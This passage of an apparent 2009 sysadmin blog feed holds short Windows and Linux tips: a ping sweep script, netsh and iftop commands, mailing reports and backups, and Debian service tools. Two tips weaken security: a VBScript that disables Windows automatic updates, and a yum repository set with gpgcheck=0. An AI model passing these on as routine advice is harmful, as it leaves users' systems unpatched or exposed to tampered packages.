Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo.
Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp
Field: ExternalTemperature temperatura esterna espressa in gradi centigradi
Field: CompressorSts ???</p>
]]></content:encoded>
    </item>
    <item>
      <title>Windows - Disable automatic update from VBS</title>
      <link>https://www.deepreflect.net/2009/02/12/windows-disable-automatic-update-from-vbs/</link>
      <pubDate>Thu, 12 Feb 2009 01:20:50 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=433</guid> 
      <description>&lt;p&gt;Sono stufo di cliccare..&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Const AU_DISABLED = 1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Set objAutoUpdate = CreateObject(&amp;#34;Microsoft.Update.AutoUpdate&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Set objSettings = objAutoUpdate.Settings
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;objSettings.NotificationLevel = AU_DISABLED
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;objSettings.Save
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Sono stufo di cliccare..</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>Const AU_DISABLED = 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Set objAutoUpdate = CreateObject(&#34;Microsoft.Update.AutoUpdate&#34;)
</span></span><span style="display:flex;"><span>Set objSettings = objAutoUpdate.Settings
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>objSettings.NotificationLevel = AU_DISABLED
</span></span><span style="display:flex;"><span>objSettings.Save
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Windows - Symlink</title>
      <link>https://www.deepreflect.net/2009/02/08/windows-symlink/</link>
      <pubDate>Sun, 08 Feb 2009 04:34:37 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=428</guid> 
      <description>&lt;p&gt;Hahahah,&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m burst in laughter when I read this NTFS (under win 2000 or above) specific, obviously Microsoft called with Junction name.&lt;/p&gt;
&lt;p&gt;Unfortunately, Windows comes with no tools for creating junctions, for use this funtion there&amp;rsquo;s two additional program:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Get Resouce Kit and use &amp;ldquo;linkd&amp;rdquo; program&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &amp;ldquo;junction&amp;rdquo; program form Sysinternal tool&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More info:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://support.microsoft.com/?kbid=205524&#34;&gt;http://support.microsoft.com/?kbid=205524&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx&#34;&gt;http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Hahahah,</p>
<p>I&rsquo;m burst in laughter when I read this NTFS (under win 2000 or above) specific, obviously Microsoft called with Junction name.</p>
<p>Unfortunately, Windows comes with no tools for creating junctions, for use this funtion there&rsquo;s two additional program:</p>
<ul>
<li>
<p>Get Resouce Kit and use &ldquo;linkd&rdquo; program</p>
</li>
<li>
<p>Use &ldquo;junction&rdquo; program form Sysinternal tool</p>
</li>
</ul>
<p>More info:</p>
<p><a href="http://support.microsoft.com/?kbid=205524">http://support.microsoft.com/?kbid=205524</a></p>
<p><a href="http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx">http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>IIS maxupload limit ASP</title>
      <link>https://www.deepreflect.net/2009/02/08/iis-maxupload-limit-asp/</link>
      <pubDate>Sun, 08 Feb 2009 04:19:59 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=425</guid> 
      <description>&lt;p&gt;IIS 6 on Windows Server 2003 or R2 has a limit of 200 KB for ASP requests in general and file uploads. To change this limitation you need to edit the Metabase file, which can be found at c:\Windows\System32\Inetsrv\MetaBase.xml.
Follow these steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stop IIS from command line&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;iisreset /STOP&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Open MetaBase file, find the variable AspMaxRequestEntityAllowed limits the number of bytes in the page request (by default 200KB); change the value to 1073741824 (unlimited) or to a limit of your choice.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>IIS 6 on Windows Server 2003 or R2 has a limit of 200 KB for ASP requests in general and file uploads. To change this limitation you need to edit the Metabase file, which can be found at c:\Windows\System32\Inetsrv\MetaBase.xml.
Follow these steps:</p>
<ul>
<li>Stop IIS from command line</li>
</ul>
<p><code>iisreset /STOP</code></p>
<ul>
<li>
<p>Open MetaBase file, find the variable AspMaxRequestEntityAllowed limits the number of bytes in the page request (by default 200KB); change the value to 1073741824 (unlimited) or to a limit of your choice.</p>
</li>
<li>
<p>Start IIS from command linet:</p>
</li>
</ul>
<p><code>iisreset /START</code></p>
<p>There&rsquo;s another way for do this change without stop the service but sincerly IIS is a Microsoft program, I&rsquo;m no sure about this operation..</p>
<p>Go to IIS and right click the server, select Properties, and check the box &ldquo;Allow changes to MetaBase configuration while IIS is running&rdquo; then try to edit metbase file.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Discovery Subnet with Ping</title>
      <link>https://www.deepreflect.net/2009/02/08/discovery-subnet-with-ping/</link>
      <pubDate>Sun, 08 Feb 2009 03:58:15 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=421</guid> 
      <description>&lt;p&gt;Sometime we need to discover an entire subnet.&lt;/p&gt;
&lt;p&gt;This is a small script not so fast but easy:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subnet&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;10.10.10.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;addr&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; $addr -lt &lt;span style=&#34;color:#ae81ff&#34;&gt;256&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ping -c &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; -t &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; $subnet$addr /dev/null &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; echo $subnet$addr Is Alive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;let addr&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;addr+1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Sometime we need to discover an entire subnet.</p>
<p>This is a small script not so fast but easy:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span>subnet<span style="color:#f92672">=</span>10.10.10.
</span></span><span style="display:flex;"><span>addr<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> <span style="color:#f92672">[</span> $addr -lt <span style="color:#ae81ff">256</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>ping -c <span style="color:#ae81ff">1</span> -t <span style="color:#ae81ff">1</span> $subnet$addr /dev/null <span style="color:#f92672">&amp;&amp;</span> echo $subnet$addr Is Alive
</span></span><span style="display:flex;"><span>let addr<span style="color:#f92672">=</span>addr+1
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Link - Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems</title>
      <link>https://www.deepreflect.net/2009/02/02/link-catalyst-4224-access-gateway-switch-software-configuration-guide-traffic-shaping-cisco-catalyst-4200-series-switches-cisco-systems/</link>
      <pubDate>Mon, 02 Feb 2009 01:03:35 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=405</guid> 
      <description>&lt;p&gt;&lt;a href=&#34;http://www.cisco.com/en/US/products/hw/switches/ps669/products_configuration_guide_chapter09186a008007f1e8.html&#34;&gt;Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="http://www.cisco.com/en/US/products/hw/switches/ps669/products_configuration_guide_chapter09186a008007f1e8.html">Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping  [Cisco Catalyst 4200 Series Switches] - Cisco Systems</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Windows - Change IP from command line</title>
      <link>https://www.deepreflect.net/2009/02/01/windows-change-ip-form-command-line/</link>
      <pubDate>Sun, 01 Feb 2009 19:36:22 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=394</guid> 
      <description>&lt;p&gt;Yes, is possibile don&amp;rsquo;t make lot of click to reconfigure network interfaces under Windows, using &amp;ldquo;netsh&amp;rdquo; command like this:&lt;/p&gt;
&lt;p&gt;For set up static address and metric 1 gateway:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netsh interface ip set address name=&amp;#34;Local Area Connection&amp;#34; static ip.ip.ip.ip 255.255.255.0 gw.gw.gw.gw 1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For set up static dns:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netsh interface ip set dns &amp;#34;Local Area Connection&amp;#34; static xx.xx.xx.xx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netsh add dns &amp;#34;Local Area Connection&amp;#34; addr=xx.xx.xx.xx index=2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For setup ip by dhcp:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netsh interface ip set address name=&amp;#34;Local Area Connection&amp;#34; source=dhcp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netsh interface ip set dns name=&amp;#34;Local Area Connection&amp;#34; source=dhcp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Yes, is possibile don&rsquo;t make lot of click to reconfigure network interfaces under Windows, using &ldquo;netsh&rdquo; command like this:</p>
<p>For set up static address and metric 1 gateway:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>netsh interface ip set address name=&#34;Local Area Connection&#34; static ip.ip.ip.ip 255.255.255.0 gw.gw.gw.gw 1
</span></span></code></pre></div><p>For set up static dns:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>netsh interface ip set dns &#34;Local Area Connection&#34; static xx.xx.xx.xx
</span></span><span style="display:flex;"><span>netsh add dns &#34;Local Area Connection&#34; addr=xx.xx.xx.xx index=2
</span></span></code></pre></div><p>For setup ip by dhcp:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>netsh interface ip set address name=&#34;Local Area Connection&#34; source=dhcp
</span></span><span style="display:flex;"><span>netsh interface ip set dns name=&#34;Local Area Connection&#34; source=dhcp
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Linux - Iftop</title>
      <link>https://www.deepreflect.net/2009/01/26/iftop/</link>
      <pubDate>Mon, 26 Jan 2009 03:34:30 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=381</guid> 
      <description>&lt;p&gt;iftop command listens to network traffic on a named network interface, or on the first interface it can find which looks like an external interface if none is specified, and displays a table of current bandwidth usage by pairs of hosts. iftop is a perfect tool for remote Linux server over ssh session.&lt;/p&gt;
&lt;p&gt;iftop must be run by the root or the user who has sufficient permissions to monitor all network traffic on the network interface.
Type iftop command at tge shell prompt to display traffic:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>iftop command listens to network traffic on a named network interface, or on the first interface it can find which looks like an external interface if none is specified, and displays a table of current bandwidth usage by pairs of hosts. iftop is a perfect tool for remote Linux server over ssh session.</p>
<p>iftop must be run by the root or the user who has sufficient permissions to monitor all network traffic on the network interface.
Type iftop command at tge shell prompt to display traffic:</p>
<p><code># iftop</code></p>
<p><em><a href="http://www.cyberciti.biz/nixcraft/vivek/blogger/uploaded_images/iptop-command-output-787803.png"><img loading="lazy" src="http://www.cyberciti.biz/nixcraft/vivek/blogger/uploaded_images/iptop-command-output-784028.png"></a></em>
However, iftop works best when you use filters. For example, if you want to find out how much bandwidth users are wasting or trying to figure out why the network is slow,</p>
<p><code># iftop -f icmp</code></p>
<p>You can display or analyses packet flowing in and out of the 192.168.1.0/24 network:</p>
<p><code># iftop -F 192.168.1.0/24</code></p>
<p>Disable output for DNS traffic by using filter code such as:</p>
<p><code># iftop -f 'not port domain'</code></p>
<p>iftop has many options read man page for further information.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Linux - Send mail from command line</title>
      <link>https://www.deepreflect.net/2009/01/26/linux-send-mail-from-command-line/</link>
      <pubDate>Mon, 26 Jan 2009 03:28:56 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=377</guid> 
      <description>&lt;p&gt;The Linux command line can be very powerful once you know how to use it. You can parse data, monitor&lt;/p&gt;
&lt;p&gt;Mutt:
One of major drawbacks of using the mail command is that it does not support the sending of attachments. mutt, on the other hand, does support it. I’ve found this feature particularly useful for scripts that generate non-textual reports or backups which are relatively small in size which I’d like to backup elsewhere. Of course, mutt allows you to do a lot more than just send attachments. It is a much more complete command line mail client than the “mail” command. Right now we’ll just explore the basic stuff we might need often. Here’s how you would attach a file to a mail:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The Linux command line can be very powerful once you know how to use it. You can parse data, monitor</p>
<p>Mutt:
One of major drawbacks of using the mail command is that it does not support the sending of attachments. mutt, on the other hand, does support it. I’ve found this feature particularly useful for scripts that generate non-textual reports or backups which are relatively small in size which I’d like to backup elsewhere. Of course, mutt allows you to do a lot more than just send attachments. It is a much more complete command line mail client than the “mail” command. Right now we’ll just explore the basic stuff we might need often. Here’s how you would attach a file to a mail:</p>
<p><code># echo &quot;Sending an attachment.&quot; | mutt -a backup.zip -s &quot;attachment&quot; leo@deepreflect.net</code></p>
<p>This command will send a mail to <a href="mailto:leo@deepreflect.net">leo@deepreflect.net</a> with the subject (-s) “attachment”, the body text &ldquo;Sending an attachment.&rdquo;, containing the attachment (-a) backup.zip. Like with the mail command you can use the “-c” option to mark a copy to another mail id.
Shell scripting:
Now, with the basics covered you can send mails from your shell scripts. Here’s a simple shell script that gives you a reading of the usage of space on your partitions and mails the data to you.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>df -h | mail -s <span style="color:#e6db74">&#34;disk space report&#34;</span> leo@deepreflect.net
</span></span></code></pre></div><p>Save these lines in a file on your Linux server and run it. You should receive a mail containing the results of the command. If, however, you need to send more data than just this you will need to write the data to a text file and enter it into the mail body while composing the mail. Here’s and example of a shell script that gets the disk usage as well as the memory usage, writes the data into a temporary file, and then enters it all into the body of the mail being sent out:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>df -h &gt; /tmp/mail_report.log
</span></span><span style="display:flex;"><span>free -m &gt;&gt; /tmp/mail_report.log
</span></span><span style="display:flex;"><span>mail -s <span style="color:#e6db74">&#34;disk and RAM report&#34;</span> leo@deepreflect.net &lt; /tmp/mail_report.log
</span></span></code></pre></div><p>Now here’s a more complicated problem. You have to take a backup of a few files and mail then out. First the directory to be mailed out is archived. Then it is sent as an email attachment using mutt. Here’s a script to do just that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>tar -zcf /tmp/backup.tar.gz  /home/leo/files
</span></span><span style="display:flex;"><span>echo | mutt -a -s /tmp/backup.tar.gz <span style="color:#e6db74">&#34;daily backup of data&#34;</span> leo@deepreflect.net
</span></span></code></pre></div><p>The echo at the start of the last line adds a blank into the body of the mail being set out.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Debian - Service startup</title>
      <link>https://www.deepreflect.net/2009/01/26/debian-service-startup/</link>
      <pubDate>Mon, 26 Jan 2009 03:23:36 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=376</guid> 
      <description>&lt;p&gt;Under Debian Linux startup files are stored in /etc/init.d/ directory and symbolic linked between /etc/rcX.d/ directory exists. Debian Linux uses System V initialization scripts to start services at boot time from /etc/rcX.d/ directory. Debian Linux comes with different utilities to remove unwanted startup file&lt;/p&gt;
&lt;p&gt;Using rcconf:&lt;/p&gt;
&lt;p&gt;This tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Under Debian Linux startup files are stored in /etc/init.d/ directory and symbolic linked between /etc/rcX.d/ directory exists. Debian Linux uses System V initialization scripts to start services at boot time from /etc/rcX.d/ directory. Debian Linux comes with different utilities to remove unwanted startup file</p>
<p>Using rcconf:</p>
<p>This tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command.</p>
<p>Install rcconf in Debian:</p>
<p><code>#apt-get install rcconf</code></p>
<p>To start rconf, login as root user and type rcconf</p>
<p><code># rcconf</code></p>
<p>Select the service you would like to enable or disable.</p>
<p>Using sysv-rc-conf:</p>
<p>sysv-rc-conf provides a terminal GUI for managing “/etc/rc{runlevel}.d/” symlinks. The interface comes in two different flavors, one that simply allows turning services on or off and another that allows for more fine tuned management of the symlinks. Unlike most runlevel config programs, you can edit startup scripts for any runlevel, not just your current one.</p>
<p>Install sysv-rc-conf in debian:</p>
<p><code># apt-get install sysv-rc-conf</code></p>
<p>This will install sysv-rc-conf.Now you need to run the following command</p>
<p><code># sysv-rc-conf</code></p>
<p>Select the service you would like to enable or disable.</p>
<p>Both sysv-rc-conf and rcconf are best tools to use on Remote Debian Linux or when GUI is not available</p>
<p>You can also use update-rc.d script as follows (update-rc.d removes any links in the /etc/rcX.d directories to the script /etc/init.d/service):</p>
<p><code># update-rc.d -f {SERVICE-NAME} remove</code></p>
<p>For example to stop xinetd service you can type command as follows:</p>
<p><code># update-rc.d -f xinetd remove</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Debian - Change installation language</title>
      <link>https://www.deepreflect.net/2009/01/26/debian-change-installation-language/</link>
      <pubDate>Mon, 26 Jan 2009 03:21:13 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=373</guid> 
      <description>&lt;p&gt;&lt;code&gt;# dpkg-reconfigure locales&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><code># dpkg-reconfigure locales</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>CentOS - Asterisk</title>
      <link>https://www.deepreflect.net/2009/01/03/centos-asterisk/</link>
      <pubDate>Sat, 03 Jan 2009 16:00:09 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=371</guid> 
      <description>&lt;p&gt;Brevemente, come installare Asterisk su CentOS usando yum.
Partiamo dal indicare che ufficialmente CentOS nei sui repository non ha i pacchetti di asterisk, quindi è necessario utilizzarne degli altri, in particolare quelli di Trixbox che come ben sapere è basata su questa distribuzione.&lt;/p&gt;
&lt;p&gt;Per primo, installare il plug-in che ci permette di gestire le priorità&lt;/p&gt;
&lt;p&gt;&lt;code&gt;[root@server ~]# yum install yum-priorities&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Creare un file con il seguente contenuto e posizionarlo in /etc/yum.repos.d/ nominandolo con estensione .repo&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Brevemente, come installare Asterisk su CentOS usando yum.
Partiamo dal indicare che ufficialmente CentOS nei sui repository non ha i pacchetti di asterisk, quindi è necessario utilizzarne degli altri, in particolare quelli di Trixbox che come ben sapere è basata su questa distribuzione.</p>
<p>Per primo, installare il plug-in che ci permette di gestire le priorità</p>
<p><code>[root@server ~]# yum install yum-priorities</code></p>
<p>Creare un file con il seguente contenuto e posizionarlo in /etc/yum.repos.d/ nominandolo con estensione .repo</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[trixbox\]
</span></span><span style="display:flex;"><span>name=Trixbox - Repo
</span></span><span style="display:flex;"><span>baseurl=http://yum.trixbox.org/centos/5/RPMS/
</span></span><span style="display:flex;"><span>gpgcheck=0
</span></span><span style="display:flex;"><span>priority=2
</span></span><span style="display:flex;"><span>enabled=1
</span></span></code></pre></div><p>A questo punto è necessario inserire il campo &ldquo;priority=1&rdquo; negli altri .repo presenti nella directory e procedere con l&rsquo;installazione di asterisk soddisfando le dipendenze relative ad esso con il repository di Trixbox per evitare incompatibilità.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
